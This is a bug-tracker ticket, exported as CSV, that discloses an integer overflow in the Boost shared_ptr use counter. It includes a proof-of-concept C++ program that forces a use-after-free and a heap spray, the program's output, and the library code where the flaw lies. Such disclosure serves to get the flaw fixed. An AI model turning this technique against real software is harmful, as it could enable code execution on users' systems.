id,summary,reporter,owner,description,type,status,milestone,component,version,severity,resolution,keywords,cc
12335,Integer overflow in use counter of shared pointers.,Christian Wressnegger <c.wressnegger@…>,Peter Dimov,"We (Christian Wressnegger, Fabian Yamaguchi, and Alwin Maier) would like to report an integer overflow of the use counter in the
`share_pointer` object of the Boost Libraries version 1.61.0 and before.
Exploiting the flaw requires some very specific prerequisites to be met,
a successful attempt however allows an attacker to execute code.
Consequently, this might be worth addressing.

The following conditions must hold true in order to trigger the overflow:

* The target is compiled and runs on an architecture where sizeof(size_t) is larger than sizeof(int), e.g. 64 bit systems with the LP64 (Linux/ BSD) or LLP64 (Windows) data model in order to allocate more UINT_MAX Objects.

* The attacker is capable of triggering the creation of a multitude of shared objects.

* The attacker can make one of these shared pointers go out of scope, e.g., by instructing the system to remove a state object.

The following short program (shared_ptr_overflow.cpp) demonstrates the
bug: First, we create a shared pointer referencing a minimal class
`MyClass`. Second, 0xFFFFFFFF more references are created which results
in the use counter to flip over to 0 again. Finally, we add one more
reference (use counter is incremented to 1) and make one of the shared
pointers go out of scope. As a result the use counter is decremented to
0 and the contained object is freed, leaving 0xFFFFFFFF shared pointer
object behind, that still reference that memory region.
Subsequently, an attacker may allocate memory containing arbitrary data
such as executable code to take the place of the freed object and make
all references left behind point to that piece of data.


{{{
--- snip (shared_ptr_overflow.cpp) ----

//#define HAS_ENOUGH_MEMORY

int main()
{
    std::cout << ""1) Create an object and pass it over to a shared pointer..."" << std::endl;
    // We initialize the object on the heap and set x to 10.
    shared_ptr<MyClass> ptr(new MyClass(10));
    std::cout << ""   ptr.use_count() -> "" << ptr.use_count() << std::endl;
    // use-count is 1

    const size_t numPtrs = (size_t) 0xFFFFFFFF;
#ifdef HAS_ENOUGH_MEMORY
    std::cout << ""2) Create 0x"" << std::hex << numPtrs << "" more references to that object..."" << std::endl;
    std::vector<shared_ptr<MyClass>> v(numPtrs);

    for (size_t i = 0; i < numPtrs; i++)
    {
        v[i] = ptr;
    }
    std::cout << ""   ptr.use_count() -> "" << ptr.use_count() << std::endl;
    // use-count is 0


    std::cout << ""3) Create one more reference..."" << std::endl;
    {
        shared_ptr<MyClass> ptr2 = ptr;
        std::cout << ""   ptr.use_count() -> "" << ptr.use_count() << std::endl;
        // use-count is 1

        std::cout << ""4) That last reference goes out of scope again now..."" << std::endl;
    }
#else
    {
        std::cout << ""2) Create an extra reference to that object..."" << std::endl;
        shared_ptr<MyClass> ptr2 = ptr;
        std::cout << ""   ptr.use_count() -> "" << ptr.use_count() << std::endl;
        // use-count is 2

        std::cout << ""3) Emulate 0x"" << std::hex << numPtrs << "" more references to that object..."" << std::endl;
        for(size_t i = 0; i < numPtrs; i++){
            memset(&ptr, '\0', sizeof(shared_ptr<MyClass>));
            ptr = ptr2;
        }
        std::cout << ""   ptr.use_count() -> "" << ptr.use_count() << std::endl;
        // use-count is 1

        std::cout << ""4) One reference goes out of scope again now..."" << std::endl;
    }
#endif
    std::cout << ""   ptr.use_count() -> "" << ptr.use_count() << std::endl;
    // use-count is 0

    std::cout << ""5) We now spray the heap with 'A's to overwrite the freed memory"" << std::endl;
    for(int i = 0; i < 1000; i++){
        char *foo = new char[4];
        memset(foo, 'A', 4);
    }

    // The address stored in ptr is still that of the free'd object
    std::cout << ""   ptr: "" << (void *) ptr.get() << std::endl;

    // ptr->x is now 0x41414141
    std::cout << ""   value: "" << std::hex << ptr->x << std::endl;


    std::cout << ""*) Bye!"" << std::endl;

#ifdef HAS_ENOUGH_MEMORY
    v.clear();
    std::cout << std::endl;
    std::cout << ""Destroying the last reference causes a double-free of the object..."" << std::endl;
#endif
    return 0;
}

--- /snip ---
}}}

For testing purposes the program can be compiled and run with the
HAS_ENOUGH_MEMORY definition commented out, in order to reduce the
hardware prerequisites. To test this, build the demo application using
the provided make file, and execute the program as follows:

{{{
--- snip ---

$ make boost
$ ""./boost::shared_ptr""

--- /snip ---
}}}

This results in the following output:

{{{
--- snip (output) ---

1) Create an object and pass it over to a shared pointer...
   ptr.use_count() -> 1
2) Create an extra reference to that object...
   ptr.use_count() -> 2
3) Emulate 0xffffffff more references to that object...
   ptr.use_count() -> 1
4) One reference goes out of scope again now...
   destruct: 0x173d030
   ptr.use_count() -> 0
5) We now spray the heap with 'A's to overwrite the freed memory
   ptr: 0x173d030
   value: 41414141
*) Bye!

--- /snip ---
}}}

In the following we point out the locations in the source code that make
this attack possible. In the Boost library shared pointer
(class shared_ptr) make use of `shared_count` objects for reference
counting, which in turn uses a `sp_counted_base` implementation for a
particular platform.

{{{
--- snip (boost/smart_ptr/smart_ptr.hpp) ---

template<class T> class shared_ptr
{
    // ...

private:

    element_type * px;                 // contained pointer
    boost::detail::shared_count pn;    // reference counter          (!)

};  // shared_ptr


--- /snip ---
}}}
{{{
--- snip (boost/smart_ptr/detail/sp_counted_base_gcc_ia64.hpp) ---

class sp_counted_base
{
private:

    sp_counted_base( sp_counted_base const & );
    sp_counted_base & operator= ( sp_counted_base const & );

    int use_count_;        // #shared                                (A)
    int weak_count_;       // #weak + (#shared != 0)

public:

    sp_counted_base(): use_count_( 1 ), weak_count_( 1 )
    {
    }

    virtual ~sp_counted_base() // nothrow
    {
    }

    // dispose() is called when use_count_ drops to zero, to release
    // the resources managed by *this.

    virtual void dispose() = 0; // nothrow

    // destroy() is called when weak_count_ drops to zero.

    virtual void destroy() // nothrow
    {
        delete this;
    }

    virtual void * get_deleter( sp_typeinfo const & ti ) = 0;
    virtual void * get_untyped_deleter() = 0;

    void add_ref_copy()
    {
        atomic_increment( &use_count_ );                             (B)
    }

    bool add_ref_lock() // true on success
    {
        return atomic_conditional_increment( &use_count_ ) != 0;
    }

    void release() // nothrow
    {
        if( atomic_decrement( &use_count_ ) == 0 )                   (C)
        {
            dispose();
            weak_release();
        }
    }

    // ...
};

--- /snip ---
}}}

Given that the hardware qualifications are met, on 64-bit systems the
number of allocated objects is only limited by the register size. Due to
the migration between platforms and the resulting difference in size a
register may hold larger integers than the `int` type (A) allows.
// sizeof(int) == 4 on 32 and 64-bit systems.

Consequently, the `use_count_` variable is incremented until it flips
over to negative numbers, zero and finally to 1 (B). This is
particularily interesting as once a single reference is then destroyed
the referenced object is destroyed as well (C). This however leaves
0xFFFFFFFF shared pointers behind that still reference the freed memory
location.

Kind regards,
Christian Wressnegger (TU Braunschweig)",Bugs,new,To Be Determined,smart_ptr,Boost 1.61.0,Problem,,,